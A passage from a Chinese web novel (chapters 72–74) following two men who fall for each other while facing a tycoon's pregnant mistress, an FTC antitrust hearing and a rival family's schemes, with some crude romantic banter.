阳光透过酒店天窗折射到女人脖子上,反光射到陈一诺眼睛,他歪头躲开,又眯着眼看了看,恍然:“她脖子上的项链!” “跟我送你的彩钻,好像是同一场拍卖会上的拍品。” 说起那时候的陈一诺,陈宗礼就来气,他冷笑:“啊,那份七位数的祝福!” “我收到的时候,只想对你说七个字的脏话!” 陈一诺放弃看热闹,转过身来,嘴唇抿着,狡黠的眼里透着天真。 陈宗礼:“干嘛?装可爱?” 陈一诺摇头:“你那七个字的脏话是什么?” “来吧,预备,骂!” 从这个距离,陈宗礼能看见陈一诺今天戴着的隐形眼镜:咖啡色的。 看人的时候,带着难以驯服的坏,领骂的时候,又带点乖巧。又拽又欲的。 陈宗礼弯起嘴角,心里想的跟嘴里说的一模一样。 “陈一诺,你真欠/操!” 第72章 有的人,天生就长着一副不需要说脏话的脸。 在陈一诺的心中,陈宗礼就长着这样一张脸。 不食人间烟火的天之骄子,自带对七情六欲的疏离,任何人与事都无法激起他的情绪。 但凡有人做错事,他只会默默失望,实在压不住火,想骂人,也不需要亲自动嘴去骂! 在天峻办公的日子里,陈一诺见过陈宗礼对下属的态度。 当他发现下属工作里出了问题,他会立刻指出,并让其返工修改,重复两次后,对方依然没改对。他就会平静地让事情过去,难听的话,交由HR代为输出。 同样的,假如董事会的成员、合作方做了背刺他的事,问清楚缘由,难听的话,由律师代为输出。 都是以后不会再见的人,他不需要骂出口,算是彼此间最后的温柔。 所以,当“陈一诺,你真欠/操!”这七个字从陈宗礼嘴里说出。 陈一诺全身的血液仿佛变成汽油,“轰——”一下引燃。如果他身上没有衣服,你就能看见,他全身上下该红的地方都红了。 脑子更是不堪一击,被烧了个彻底。 他脑袋空空地看着陈宗礼,嘴张开又闭上。明明对方只说了七个字,他体内却已经高高高高高潮过了…… 陈宗礼看他久久不说话,曲起手指敲敲他的脑壳,问道:“被骂傻了?” 陈一诺拍掉他的手,瞪着眼睛问:“陈宗礼,你……这话从哪儿学的?!” 陈宗礼手指划过他的耳朵,有魔法般,划过哪儿耳朵就红到哪儿。 他笑陈一诺敏感,问他:“在你心里,我是什么圣人么?脏话都不会说?” 陈一诺歪头,试图躲开他的施法:“你这不是脏话,你这是DirtyTalk。” 陈宗礼歪头:“不一样?” 陈一诺摆摆手:“不一样!脏话是骂人,DirtyTalk是撩人……” “哦!”陈宗礼恍然,含笑看着陈一诺:“撩到你了?这才哪儿到哪儿……” “还有更Dirty的。” 陈一诺已经颅内高/潮过了,如今进入贤者时刻。 他戒备地抵住他的胸,顿了顿,心想:卧槽,手感那么好呢! 脑海里播放着不合时宜小电影,努力强迫自己看起来正经:“大庭广众的,别撩了……” 陈宗礼看他小卷毛脸红得滴血,不逗他了,笑着往后退半步。 …… 门外的Linda还在喋喋不休地骂,陈一诺正准备出去,被陈宗礼拉住:“你出去干嘛?” 陈一诺好奇:“我去会一会这位世界中心女士啊。” 陈宗礼抬抬下巴:“让王律去吧。” 王之初刚好接完电话回来,一脸疑惑:“我去哪里?” 陈一诺把他拉过来:“你帮我会一会外面这位Linda女士,我用耳机给你提示。” 王之初不疑有他,整了整衣服,走出咖啡厅。跟天生霸主气质的陈家兄弟比,王之初更像一个文弱书生。光气势就压不住场。 他在门口督了一眼这位Linda,表情不悦地问聂加:“怎么回事?那么吵!” 聂加嘴上说着“抱歉,老板”,脸上却一丝抱歉的影子都没有,语气像在告状,“这位女士,想进咖啡厅,我们多次劝阻无效。” Linda不服气道:“他们现在不是要走了?我能进去了吧!” 陈一诺的声音从耳机传来,王之初收听完毕,跟那位名叫Roger的经理吩咐:“咖啡馆我们想再包七天!七天里,除了她,其他酒店住客都能进。” Linda目瞪口呆,打量着戴着眼镜的文弱书生,愤怒地喊道:“有钱了不起吗?你知道我是谁吗,敢这么对我?!” 本来,陈一诺完全不想知道她是谁,但她总强调,他不得不好奇了。 他让王之初直接问她:“行,女士,请你介绍一下,你到底是谁?” Linda忽然叉着腰,顶着肚子朝他走了两步,陈一诺他们在屏风后都看见了——原来这位Linda是名孕妇,因为穿着宽松的碎花裙,加上身材高挑,没人发现。 王之初的手从兜里掏出来,也学她叉腰:“怎么?你怀的是魔童吗?毁天灭地那种?” Linda挺着肚子,非常自豪:“等我儿子出生了,这酒店都得归我。” 所有人:“……” Linda满意地欣赏他们的鸦雀无声,问道:“我可以进去了吧?” 陈宗礼朝陈一诺的手机说了几句,让王之初复述。 “这个咖啡厅,我们再包一个月,所有人都能进,除了她!” 也不管那位Linda在后面跳得多高,陈宗礼跟陈一诺快步走出LS酒店大门。 …… 他们安静地上了车,车也安静地上了高速。 陈一诺脑子才开始转:“刚刚那个Linda的什么意思?她儿子出生了,LS就归她?真的假的?她是李家纯的情妇,还怀了他孩子?” “会不会有人冒充李家纯,把她给骗了?” 冒充富豪,千金名媛的多了去,像李家纯这种平日低调不出镜的,被认错也不稀奇。 陈宗礼手托着下巴,手机递给陈一诺:“我问了庄宝瑶,你刚刚看到的项链的确是亚士得秋拍匿名用户电话拍下的,她打听回来是李家纯概率很高。” “她不像港城人。而李家纯有内地和C国的业务,可能是在这两个地方认识的。” “但据我所知,他在外面粘花惹草没断过。秦伯母和李思维都知道,还帮忙打发了不少。但怀孕……还是真是头一遭。” …… 车厢内陷入沉默。陈一诺的沉默不同寻常,因为他发现忽略了上辈子一件重要大事:李家纯的私生子。 上辈子,陈一诺入狱,陈宗礼悔婚,被退婚的李思维在家庭和舆论双重打击下,强迫嫁给贺朝阳。 大概两年后,李家纯被爆有私生子。他依稀记得当时报道说,李家纯过年带刚满月的儿子回家祭祖,还在大年初八开工时,抱着大胖儿子回集团给员工派开工红包。 人到晚年,有儿万事足的李家纯,简直想把“扬眉吐气”刻在额头。 据说,因为私生子的事,李家纯跟秦若霜大吵一架,最后离婚收场。 更离谱的是,李家纯刚提出离婚,小三Linda母凭子贵,搬进了李家豪宅,当上名正言顺的李太太。事后,年近六旬的李家纯,还拼命进补,想再追一个儿子。 而“私生子”事件,最大的受害者,便是秦若霜和李思维。 生子出生以后,李家纯更改了遗嘱,几乎把所有家产都留给了儿子,只给秦若霜母女留了信托基金。 当初,贺朝阳娶李思维,就是看重她李家独女的身份。婚后,四大家族格局改变,以贺家独大。有了这个弟弟后,父母离婚,李思维彻底失去利用价值,本就夫妻不和,贺朝阳趁机提出离婚。 理论上,这件事的时间应该再往后两年发生,但由于陈一诺重生,打乱了原有的时间线,李家纯的“儿子”提前来了,奥莱集团发起反垄断调查…… 一切都太过凑巧。 …… “哦,找到了!” 在大佬们还在沉默时,出于职业习惯,王之初快速查到了Linda的身份。 “跟宗礼哥说的一样,这位Linda不是港城人,是内地一个18线小明星,难怪眼生。” “还有,这位Linda的经纪公司,是环球集团——也就是庄嘉轩家的艺人。” 陈一诺笑了:“我跟你赌1000,他100%不认识她。” 陈宗礼更损:“我跟你赌5000,他100%不知道公司有这号人。” …… “你说谁?!” 一星大楼的总裁会议室内,正进行在线会议,满屏庄嘉轩的大头和巨大的吼叫声。 陈宗礼摊开手机里的二维码,陈一诺愿赌服输闭眼一扫。 “xx宝到账5000元。” 陈一诺一边心疼钱,一边对庄嘉轩恨铁不成钢,骂骂咧咧:“你不是环球的艺人总经理吗?Linda,林嘉绮。是不是你们旗下的艺人?” 庄嘉轩摆摆手解释:“我当然知道她是我们公司的!你把我当什么了!哎哟,我刚刚的反应不是不认识她,我是奇怪你们居然遇到她!我可是满世界找她!!” “峰回路转啊!快,愿赌服输!”陈一诺冷笑一声,摊开手机的二维码,撞了撞陈宗礼。 “xx宝到账5000元。” “啧!”陈一诺不满:“陈宗礼,还有1000。” 陈宗礼笑笑,空子没钻成。 “xx宝到账1000元。” 痛失6000的陈宗礼问道:“继续说,她怎么了?” 庄嘉轩解释道:“她是我们内地分公司的艺人,本来应该在剧组拍戏呢,演小三!” 王之初笑了:“演什么小三,她在A国当小三!” 庄嘉轩暴怒:“你能不能等我把话说完?光怼我什么意思?你们单生狗怨气那么重吗?” “嘿!”王之初怒了,“你怎么说话呢!知道你谈恋爱了!有什么了不起的?!天天秀!” 他一把搂住陈一诺,出现在屏幕里:“我们单身怎么了?” 为了不让全场唯一单身狗——王之初感到难堪。陈一诺很艰难,才把脸上写着的“我才不是单身”的表情管理住。 陈宗礼坦然地跟他对视一眼,嘴角压不住地扬了扬。 对面争论了半天单身不单身的问题,陈一诺终于忍不住了:“行了行了!聊正事!” “庄嘉轩,你先挑的事!罚你给老王介绍女朋友!” 王之初应道:“对!哎哎哎!给我和一诺……还有宗……宗礼哥不用。给我们两介绍。” 陈一诺顿时干净利落地拒绝:“不用不用哈哈哈,我太忙了……” 王之初语重心长看着他:“忙也要谈恋爱啊,你这样压抑自己,早晚出事的!” 陈一诺低声嘀咕:“再往下聊就真要出事了!” “来来来,说回正题!” “这个Linda女士应该在剧组演小三,然后呢?” 视频会议对面的庄嘉轩接着说:“然后,她霸凌同公司另外一个女艺人,那个女艺人跳楼了,自杀未遂还在医院躺着呢。” “这段时间,我们一边压着新闻,一边找她。谁知道逃跑了,还好你们发现了她!” “世界真是小啊!” “快说,她给谁当小三?” 陈一诺淡淡道:“李家纯。” “我们初步猜测,她给李家纯当小三。” 庄嘉轩震惊脸:“……”—— 作者有话说:不想太矫情,但这本写得蛮难的,感谢每天都评论的小天使,你们真是我连载期的动力!mua~mua~ 第73章 视频会议室内,一时间陷入安静。 陈宗礼忍无可忍,脑袋凑到屏幕前对庄嘉轩说:“说话!” 庄嘉轩一拍寸头:“卧槽……她怎么勾搭上李家纯的?!” “不过也挺正常。李家纯为了生儿子,在外面没少找女人。那些小三小四,连李思维都帮忙打发不少。” “但那么多年,没有说怀孕成功的。这次居然怀上了?真的假的?” 在座连谈恋爱的都是新手,更别说生孩子了。一时间,所有人没有丝毫头绪。 陈宗礼冷静地分析道:“连你都会怀疑孩子的真假,凭李家纯对儿子走火入魔的痴迷程度,他对Linda肚子里的孩子,肯定做过层层检查,才敢这么护着。” “而且,李家纯知道她闯祸之后,把人千里迢迢送去A国养胎。这隆重其事的程度,还不说明问题?” 陈一诺喃喃:“李家纯的生意遍布内地、港城和C国,他偏偏选了最陌生的A国。要不是Linda自曝,可能儿子生下来都没人知道。” 陈宗礼同意:“也就是说,秦伯母和思维还蒙在鼓里。” “庄少,你回内地一趟吧。我怀疑你们内地公司里有Linda的内应,找他了解了解前因后果。” 庄嘉轩不解:“她失踪以后,她的助理、经纪人,全被问过话,都说不知情。” 陈一诺想起那女人在咖啡厅门前大放厥词的模样,笑了:“庄少,你跟Linda没打过交道吧?之前去问话的时候,你也不在吧?” “以Linda的性格,她有李家纯那么大一座靠山,能忍住不说?更何况还怀了孕,身边人能毫无察觉?如果她身边人真的一点不知情,我喊你爹。” 说罢,还叮嘱一句:“查的时候低调些,别打草惊蛇。” 被“安排”的庄嘉轩犹豫道:“这事……需要我亲自去查么?” 王之初也疑惑地看着陈一诺。一个十八线小艺人怀了富豪的孩子,卷铺盖跑了,需要庄家少爷亲自去一趟了解情况? 现场只有陈一诺和陈宗礼知道,如果庄嘉轩不亲自去,这事不会有下文…… 耽误他们生意事小,耽误你姐的女朋友李思维反击事大。 实话不让说,陈一诺只能求救陈宗礼。他手肘戳戳对方,让他赶紧编个理由,骗骗庄嘉轩。 陈宗礼定眼看看陈一诺,沉默了一会儿,才摸摸鼻子,眼里流露出一点恳求:“庄少,帮帮忙。” 向来反应迟钝的庄嘉轩,忽然反应过来了。 他一拍脑袋:“哎哟,我操,我怎么给忘了!思维家出事,你肯定急坏了吧!别着急,兄弟帮你搞定。”????? 陈一诺慢半拍才反应过来。 他跟陈宗礼刚确定关系,但在外人眼里,陈宗礼跟李思维才是天造地设的“情侣”,这件事,要是牵涉到李思维,陈宗礼怎么能放手不管? 陈宗礼这一句:庄少帮帮忙! 是简简单单的帮忙吗?外人看来,那是太子爷难得为爱低头啊!兄弟都低头了,庄嘉轩能不答应吗! 这么一捋,所有事情变得顺理成章。 连站在一旁的王之初都连连点头。 唯独陈一诺莫名不爽。 陈宗礼任务完成似的,对庄嘉轩语重心长道:“兄弟,谢了!” 陈一诺眯了眯眼,啧,谢你兄弟个腿! …… 跟庄嘉轩的视频结束后,王之初忙着找庄嘉轩给他介绍女朋友,急匆匆离开会议室。 会议室内,陈一诺瘫坐在会客沙发上,眼睛一眨不眨地看着陈宗礼,气氛微妙。 陈宗礼打破微妙,主动坐到他身旁,伸手想牵他的。 第一次,刚抓住,陈一诺“呼”地把手抽回来。陈宗礼愣了愣,伸手又抓了第二次,这次不但抓住,还捏了捏手指。陈一诺爱玩赛车,握方向盘磨出不少茧子,手指有些粗糙。 没捏几下,又被陈一诺抽回来。陈宗礼第三次抓,陈一诺干脆双手交叉在胸前。 事不过三,陈宗礼不伸手了,直接靠在沙发上,打量着对方:“不让牵?” “昂!”陈一诺张嘴发出一个单音,“不让,你牵别人吧……” 陈宗礼刚要说“我牵谁啊”,反应过来,小卷毛吃醋了。 内心有些窃喜,又觉得无奈:“陈一诺,讲讲道理,你让我求的,忘了?” 他甚至抬起手肘戳戳沙发,模仿陈一诺“求”他帮忙的动作。 陈宗礼:“我不这么说,庄嘉轩的脑子肯定还有一堆要问的。难道我跟他讲,你不去,让宝瑶姐去,为了李思维,你姐连Linda的祖坟都能找出来么?” 陈一诺心里知道自己无理取闹,还是阴阳道:“可不是么,你跟李思维的关系多亲密啊,都不用解释,三个字:帮帮忙。庄嘉轩立刻get到你是为爱低头的好男友。” 陈宗礼笑了:“我本来想说的是,李思维是我朋友,也是他朋友,让他帮帮忙。” “你们自己理解偏了,我有什么办法啊。” “你故意的!”陈一诺直接戳破,“你故意只说三个字,故意让人误会!” 陈宗礼手搭在他膝盖上,耐心道:“嗯。我的错。下次还有这种事,我就当听陌生八卦,左耳入右耳出。街上看见李思维我都不打招呼,行不行?” 陈宗礼跟他说“我错了”,问他“行不行”。 别说陈一诺发的是微微小火,哪怕发的森林大火,也要被这两句话浇灭。 何况这火,本就发得离奇。他明明知道陈宗礼没错,但就是克制不住情绪。他要是上帝视角,都要骂自己一句:陈一诺,你作什么?! 他是弃犬,没“作”过…… 所以,面对陈宗礼的服软,他的回答也很别扭:“那又太刻意。再说,李家纯估计也怀不上第二次……” 陈宗礼眼睛忽地上扬,笑道:“陈一诺,你在对我撒娇么?” 陈一诺气鼓鼓:“我没有!” 陈宗礼没信,自顾自道:“撒娇好,我们一诺就该多撒娇。” “不过,撒娇归撒娇,别生气,别过心,行不行?” 陈宗礼又问了一句“行不行”,语气温柔得,能让陈一诺溺死在里面。 其实,他们由兄弟变情侣太突然,恋爱分泌的多巴胺让陈一诺没空考虑,以后的路有多难。 不但外部虎狼环伺,稍有不慎,轻则身败名裂,重则死无葬生之地。 内部,陈宗礼肩上扛着陈家的重担,他们的关系,身份和地位,允许他们这种恋情? 这样荆棘密布的路,一眼看不到头。如果连这点小事都别扭半天,那真是没完没了了。 可面对他的别扭,陈宗礼没有不开心,甚至鼓励他撒娇,这谁扛得住? …… 看陈一诺脸色稍好,陈宗礼摊开手掌,说了句:“手。” 陈一诺解开手臂,状态跟之前已经截然不同,他放松地把手搭在对方手心里。 两手交叠,对比之下,才发现陈宗礼的手真大。手指修长骨节分明,肤色比他深一度。两手的温度融合后,陈宗礼慢慢手掌收紧…… 陈一诺眼尖看到陈宗礼手腕一处,眉头紧蹙,反握住陈宗礼的左手。 一条从左手手腕蔓延到小臂中段的疤痕,像一道闪电般烙印在陈宗礼身上,刺痛他的眼睛。 他紧张道:“这是你撞车留下的疤?怎么那么长?” 他用手指粗略量了量,这条疤痕几乎有他一根食指长。 陈宗礼没说话,也没把手抽回,任他看,安慰道:“缝了十针,就是看着恐怖,其实还好。” “十针?!”陈一诺整个人炸毛:“上次赛车之后,就去医院了,这叫还好?” 陈宗礼心里暗自给告密的庄嘉轩记上一笔,嘴上安慰:“就是点挫伤,小事。” “我信你个鬼。” 陈一诺的话里有责备,其实是心疼。手指不自觉沿着疤痕周围的穴道,轻轻揉捏。 他手指修剪得很干净,捏在皮肤上的力度适中,加上指腹微热,没按几下,陈宗礼就觉得这陈年旧患舒缓不少,半边身体都热了起来。 陈宗礼看着他手法纯熟,还挺惊讶:“这手法,学过?” 陈一诺手指的动作顿了顿,他当然不能告诉陈宗礼,上辈子他在监狱遭遇袭击,两小腿截肢,关节处在天气不好时,会有针扎似的疼痛。所以,他定期要请按摩师帮他按摩。 按摩师不可能总在身边,他久病成医,在耳濡目染下,也自学了穴位按摩和针灸方法,不时自救一下。 没想到,上辈子习得的技能,这时候居然派上用场。 真话不能说,陈一诺只能编个理由:“我奶奶最后几年不是瘫痪在床?偶尔我也帮她按摩一下……” 跟白凤娇相处的最后几年,是陈一诺不易触碰的盲区。陈宗礼的家教不允许他继续往下问,而陈一诺非常清楚这一点,于是,这个问题被轻轻揭过去了。 但既然提起原生家庭,他又不想生硬地绕过去,干脆就着李家纯的事往下说。 “古家也曾经是上城的大户人家。我还小的时候,我们家过年拍合照就已经是五代同堂。” 陈宗礼当然知道,那时古德庆找到他,证明自己身份时就晒过一张古家大合照。一条旋转楼梯密密麻麻站满了人。特别壮观。 “我奶奶生了七个孩子,有儿有女,风光的时候,谁都巴结她,说她有福气。” “谁也不知道,她表面的多子多福,背地里全是多子多难。” “破产之前,我那些不成材的叔伯姑姑,总想干出一番事业,现实是做什么赔什么,为了给他们填窟窿,我奶奶变卖了不少资产。” “破产之后,分了家。又总觉得我奶奶偏心,家产没分均匀,三天两头就要上门闹。” “后来,我奶奶病了,没有一个儿女常伴身旁的。所以,我真的不能理解李家纯六十多的人了,还要拼一个儿子,到底图什么呀?” “这个儿子生下来,跟他差了60岁,他有多少时间陪他呢?” 陈宗礼靠坐在沙发上,安静听他说着,手臂被陈一诺捏得很舒服,淡淡道:“你想多了……” “到他这个地位,要什么有什么,唯独缺一个儿子。偏偏不由他控制。所以越得不到越想要,越想要越魔怔。” “他根本不会考虑怎么培养这个孩子,怎么去爱他,他满心只想着,我得有一个。” “有一个,他这辈子就完满了。就这么简单。” 陈一诺皱眉:“艹,那是一个人啊,不是他没凑齐的盲盒,没集满的印章!” 陈一诺生气的时候,眉头拧在一起,手上的力度都加重了,手臂上留下一个个红指印。 “不行,越想越气。虽然那个不知真假的儿子也可怜,但思维姐更可怜,我们得帮帮他。” 陈宗礼开玩笑道:“你想怎么帮?给Linda搞点藏红花什么的?” 陈一诺一脸茫然:“什么……什么藏红花?” 陈宗礼笑了:“你们繁星TV不播宫斗剧吗?” “有吧……哎,你不要歪楼!庄嘉轩不是说了吗,那么多年都没怀上,怎么忽然有了?” “这个Linda背后肯定有高人指点。” 陈宗礼回捏他的手,让他休息休息。说来说去,他们都心知肚明:小人捣鬼。 “安插间谍,伪造假画,现在还能妙手怀孕……贺家那么多旁门左道,真是防不胜防,我们要是输了,也是天意。” 陈一诺笑笑,也不好意思告诉陈宗礼,其实他已经输过一次,只是这辈子,他们手段再多,陈一诺也不能叫他们得逞。 …… “你呢?”陈一诺忽地抓了他的手。 “你想好了吗?你也该有的都有了。如果哪天也想要个儿子女儿什么的……我可帮不了你。” 陈宗礼歪头看他,眼睛里满是情深。 “那不好意思了,我没在大家庭生活过,倒是见过不少大家庭里的污糟事。对人丁兴旺没有兴趣。” “这些年唯一让我魔怔的,现在也已经到手了。” 说完,大手抚上,毫不犹豫地十指紧扣,这是他们第一次牵手。他握得异常用力。 “李家纯有子万事足。” “我呢,有你万事足。”—— 作者有话说:今天陈宗礼是情话小王子~[红心][红心] 第74章 陈宗礼话里的每个字,像子弹,一颗颗正中陈一诺的靶心。 作为一只被抛弃“弃犬”,他拥有丰富的被抛弃经验,却甚少有被爱的经验。 所以,有人主动对他表达爱时,第一反应不是接受,而是惶恐。 而在跟陈宗礼心意互通后,对方每次情感释放,哪怕只是捏一捏手指的小动作,都会浓烈得让陈一诺感到眩晕,然后不知所措。 陈宗礼太会察言观色,看陈一诺眼神不对,摇摇他的手,哄小孩似的:“被我吓到了?” 陈一诺的情商不允许他说实话,于是,他扯扯嘴角:“没……” 陈宗礼黑眸看着他,眉峰一挑,并不相信:“陈一诺?” 陈一诺情商坍塌只用了一秒,认命道:“有点……难为情……” “除了你,没人这样看我,也没人总说喜欢我。不是你的问题,是我……没经验。” 陈宗礼凑近看他:“什么经验?” 陈一诺严肃又老实,像蹲坐地上,用一双水灵灵大眼睛看人的小狗:“爱人的经验。” 陈宗礼咂摸着嘴,笑得意味深长:“这样啊……要不要我教教你?” 本以为眼睛已经够大了,听完这句,陈一诺“腾”地眼睛又大了一圈。 “要。”就像以前,陈宗礼说要教他谈判一样,眼睛里满是学习的热情。 陈宗礼捏着他的手,老神在在:“很简单。” “以后,你还像今天这样被吓到,你二话不说,坚定地亲我。” “什……什么?”陈一诺还等着陈宗礼给他传授,亲密关系中的正向反馈秘籍。 结果,就这? 陈宗礼看他呆愣着,干脆搂过他的脑袋,言传身教地吻上他的额头,重复道:“像这样,坚定地亲我。哪怕你不说一句话,我也知道,你接收到我的爱,同时,你也爱着我。” “行动比语言重要。” 陈一诺在错愕中摸了摸被吻过的部位,似懂非懂地点点头。 “还有么?” 陈宗礼收敛着视线,摇头:“没有了。爱人说简单也简单,说复杂也复杂。” “所以,如果有一天,你的大脑和身体,都不想回应我了。也就是不爱我了。” “那时候,你要老实告诉我。不要因为怕我难过而勉强自己,好吗?” 陈一诺没有被爱的经验,却有丰富被抛弃的经验。 陈宗礼那句话看似很绕,实际就是说,如果有一天,他要放弃这段感情,抛弃他,不要勉强自己,直接告诉他。 他们的心里都无比清楚这段关系的艰难。可陈宗礼早早给他留了一条退路,让他毫无负担地开始,无需愧疚地结束。 陈一诺的心脏莫名被划了一刀,很温柔的一刀,但口子很深,伴随着那份密密麻麻的痛,持久又深远。 陈宗礼会把自己跟李家纯归为一类人。 他们因为出身优渥,想要的应有尽有,所以对得不到的,执念颇深。 但陈一诺很清楚,陈宗礼跟李家纯根本不是一类人。 李家纯为了一个儿子能不择手段,背妻弃女。 陈宗礼不会。 哪怕他拒绝了陈宗礼的告白,或者因为某些原因分开,退回兄弟的关系。 陈宗礼只会全盘接受,潇洒地跟他道别,祝他一切都好。 陈宗礼对他的克制,是从骨子到血肉的克制,克制得伤己,克制得让人心疼。 要不是那晚,酒后藏不住,他估计能瞒着陈一诺一辈子。陈一诺万分庆幸,自己没有辜负他。 他学以致用,俯身张嘴咬上陈宗礼的唇,用“血淋淋”的行动表达自己的坚定和深情。 “我怎么可能不爱你?” “是你先惹的我,惹狗容易送狗难!想跑你可跑不掉。” 陈宗礼嘴唇吃疼,血腥的味道唤醒了沉睡的猛兽,他单手抚上陈一诺的腰,用力把人拥入怀中,加深这个吻。 …… “叩叩——” 有人敲门,打断了他们谈话。幸好会议室是封闭的,外面看不见里面的情况。 陈一诺瞬间推开陈宗礼,移到距离他两米的沙发坐下,双手交叉,动作非常做作。 陈宗礼维持着原来的坐姿,手指碰了碰被咬过的嘴唇,有些疼,看来是破了。真是狗。 “进。” 门推开,王之初脑袋伸进来,摇了摇手机:“打扰一下!一诺,时代集团的代理律师刚来电话,第一次开庭的结果出来了。” 陈一诺跟陈宗礼对一个眼神,温存时刻结束,又要回归战场。 陈一诺点头:“行,5分钟后,我们电话接入。” …… 下午,城市上空忽然飘来一片巨大的乌云,压得人喘不过气来。 会议室内,时代集团的代理律师声音从电话传来。本来,陈一诺希望能出席FTC的庭审,但被拒绝。他们只能通过时代集团的律师,了解现场情况。 时代律师:“和我们之前预料的一样,FTC从我们提交的三百万份收购相关资料里,找到几封高管的往来邮件,他们认为,先一步收购繁星TV,有利于我们的全球媒体布局。” 听到这里,王之初心里一沉,律师直觉让他觉得大事不妙,问道:“那我们提取奥莱集团的文件,有什么发现吗?” 时代律师说道:“有的,非常感谢一星团队的提醒。我们对FTC申请从奥莱集团提取相关文件。共计两百万份。听说,当时这个申请执行时,杀了奥莱集团一个措手不及。” “我们在两百万份文件中,发现奥莱的CEOFrank在最近的邮件中透露,奥莱集团正在秘密收购HT,如果收购成功,就有机会在东南亚反超莫多里。” 本来奥莱集团收购HT的消息,是陈宗礼带过来的。他们还想着同步莫多里的律师团队。没想到,他们居然顺藤摸瓜找出来,还作为证据呈堂反击。 王之初兴奋地做了个“YES”的手势,笑道:“那不就证明对方也有垄断意图?!” 时代的律师情绪明显更加克制:“是的,我们提交的新证据一度让对方律师措手不及,法官的态度也更缓和,但是……” 一个“但是”,夺走了王之初脸上的笑容。 时代的律师继续:“对方律师提出,繁星TV在东南亚的观众占比、收视率、广告收益等情况,都远高于HT。因而,奥莱集团对HT的收购,是针对时代集团垄断的反击,而不是为了垄断。” “所以,这一轮,法官从证据上看,更偏向FTC,也就是认为我方有垄断倾向。” 王之初问:“如果最后法官判定确实存在垄断,你们判断会有什么惩罚呢?” 时代律师想了想:“根据我们收集的反垄断案例,万一我们被判存在垄断事实,时代就无法继续对繁星TV的收购。” 话说到这里,王之初像在坐过山车,从高峰一下子俯冲到底。这个结果,是他们最不想遇到的。 他长长输出一口气,脸色很难看。 陈一诺心中虽然也有起伏,但表面平静,他朝王之初比了个“2”的手势。 王之初立刻反应过来,问时代律师:“我们还有第二轮庭审,对吗?” 时代律师:“对的,这是我们的最后机会,目前时间安排在两周后。” “接下来,如果能从奥莱集团文件里,找到垄断证据,能勉强提高我方胜率。” “此外……虽然渺茫,但如果能跟Frank私下和解,取消诉讼,那是最好了。” 王之初了然:“好的,我们在想想办法,有任何消息,随时电话联系。” 挂断电话,会议室内陷入死寂。落地窗外,从乌云落下一道闪电。 紧接着,“轰隆——”一声巨响,大雨如瀑布般,倾泻入城市的每个角落。 王之初托了托眼镜,藏不住的烦躁:“第一阶段提交的奥莱邮件,如果没让法官改变看法,第二轮就算我们再有新的证据提交,对最终判决影响不大。” “而且,我们还引起了奥莱集团的警惕,他们应该会暂停跟HT的收购。我们要找到再多资料证明他们的垄断意图,难度更高。” “如果要奥莱和解,我们手上也只有李家纯这张牌。可现在他站在贺家那边,两头堵啊,怎么搞?” “再说……”他局促地看了一眼陈一诺,又看看陈宗礼,欲言又止。 陈宗礼反应过来:“我先出去,你们聊?”手指扣起西装外套,正准备起身。 手臂忽然被陈一诺拽住,手心的温度透过衣料传到手臂,摁着他又坐了下来。 他坦然地看着王之初:“老王说吧,没关系。” 王之初打量着坐在沙发上的两兄弟,眼里满是匪夷所思。 半年前,如果有人敢谁跟他说,陈一诺连自家公司的商业机密都能跟陈宗礼共享,他肯定不信。可眼见为实,两兄弟的关系,确实亲密到互相共享商业机密的程度。 既然如此,他也没理由藏着掖着:“不知道哪家媒体开始传的,说莫多里被控涉嫌反垄断,收购要取消,我们一星的资金链要断!于是,好几家大供应商,听到风声坐不住了。这几天,我们法务部已经陆续收到催款函。” “今天的庭审结果出来,供应商估计更慌。加上羽南港在开工阶段,资金链不能断。如果最后,我们真的败诉,莫多里取消收购,我们的资金链就真的……” 陈一诺冷笑一声:“什么叫不知道哪家媒体开始传的……就是贺家传的!” “我们在港城把贺家折腾得一地鸡毛,他们就来一招釜底抽薪。明知道莫多里收购的资金对我们多重要,就搞一出反垄断,把收购搅黄。” 他五指握紧,咬牙道:“真是小看他们姓贺的了。” 陈宗礼看他磨牙的样子,心想,现在要是有贺家人站在他面前,估计陈一诺必定咬上两口解恨。 他安慰道:“一星的资金有问题,天峻还有……” 陈一诺一如既往拒绝得干脆:“不行,谁都能出手救一星,唯独天峻不行!” 虽然天峻现金流吃紧,但还是能帮一星度过难关。陈宗礼不解:“为什么?” 陈一诺没解释,没法解释。 “还有两周,兴许柳暗花明又一村呢?” …… “还要两周?!” LS酒店总统套房内,身穿丝绸连衣裙的Linda一脸震惊。 “我已经在这酒店呆了快一个月,除了酒店和外面的私人海滩,哪儿都不能去!我快发霉了!” 李家纯哄道:“医生说你的胎不稳,一定要少走动,静养!你想要什么,就让人出去给你买。” Linda不以为然:“去哪儿都是开车接送的,哪用什么运动。” “你多派一些助理、保镖陪着我不就好了?我想去画廊看画,或者看看表演。呆在这里太无聊了,我都抑郁了。我抑郁,宝宝怎么能开心,而且这些艺术品,对宝宝的胎教有好处吗……” 他们两个在房间里吵,贺朝阳在客厅的沙发上,翘着二郎腿,一脸不耐烦。 胎教好不好,宝宝开不开心,贺朝阳根本不在乎。他心里在乎的,只有两周后,法院裁判莫多里违反《反垄断法》罪名成立,彻底断了陈一诺的资金链! 他倒要看看,弟弟公司要死了,哥哥要不要救啊?哥哥如果下场救人,他们再趁虚而入,吞掉天峻……简直完美。 李家纯从房间出来,满脸愁容,他摆摆手:“女人真麻烦!” 贺朝阳立刻咧着笑:“哎,等儿子出生,一切都是值得的。” 李家纯听见“儿子”两个字,皱眉立刻展开,笑道:“没错!哎,你找我什么事啊?” 贺朝阳道:“哦,我母亲的酒庄有一批名酒,这几天打算邀请Frank到家里来,不知道您能不能也一起呢?有熟人,气氛比较好。” 李家纯多精明一只老狐狸,他摆摆手:“酒我一般般,而且,最近打算去C国,时间来不及。放心吧,Frank不是难相处的。” 说完,李家纯转身吩咐保镖:“一定给我看好她!千万别让她跑出去!特别不能让她跟夫人和小姐碰上她!” 保镖点头:“好的李先生。” “家纯,你进来吗……”房间里女人又开始闹,李家纯强压着怒火,跟贺朝阳做了个鬼脸,进了房间。 贺朝阳脸上的笑,在他迈进房间的一瞬立刻消失。那双标志性三白眼里藏着凶光。 他咬着后牙槽,心想:既然,你不肯帮我,就别怪我出阴招!—— 作者有话说:FTC针对反垄断的调查,通过市场主体举报或执法机构主动调查均可触发。 触发后,由法定机构(如FTC)代表公共利益起诉,企业仅作为证据提供方参与。并以“是否实质性损害市场竞争”为核心,进行判定。 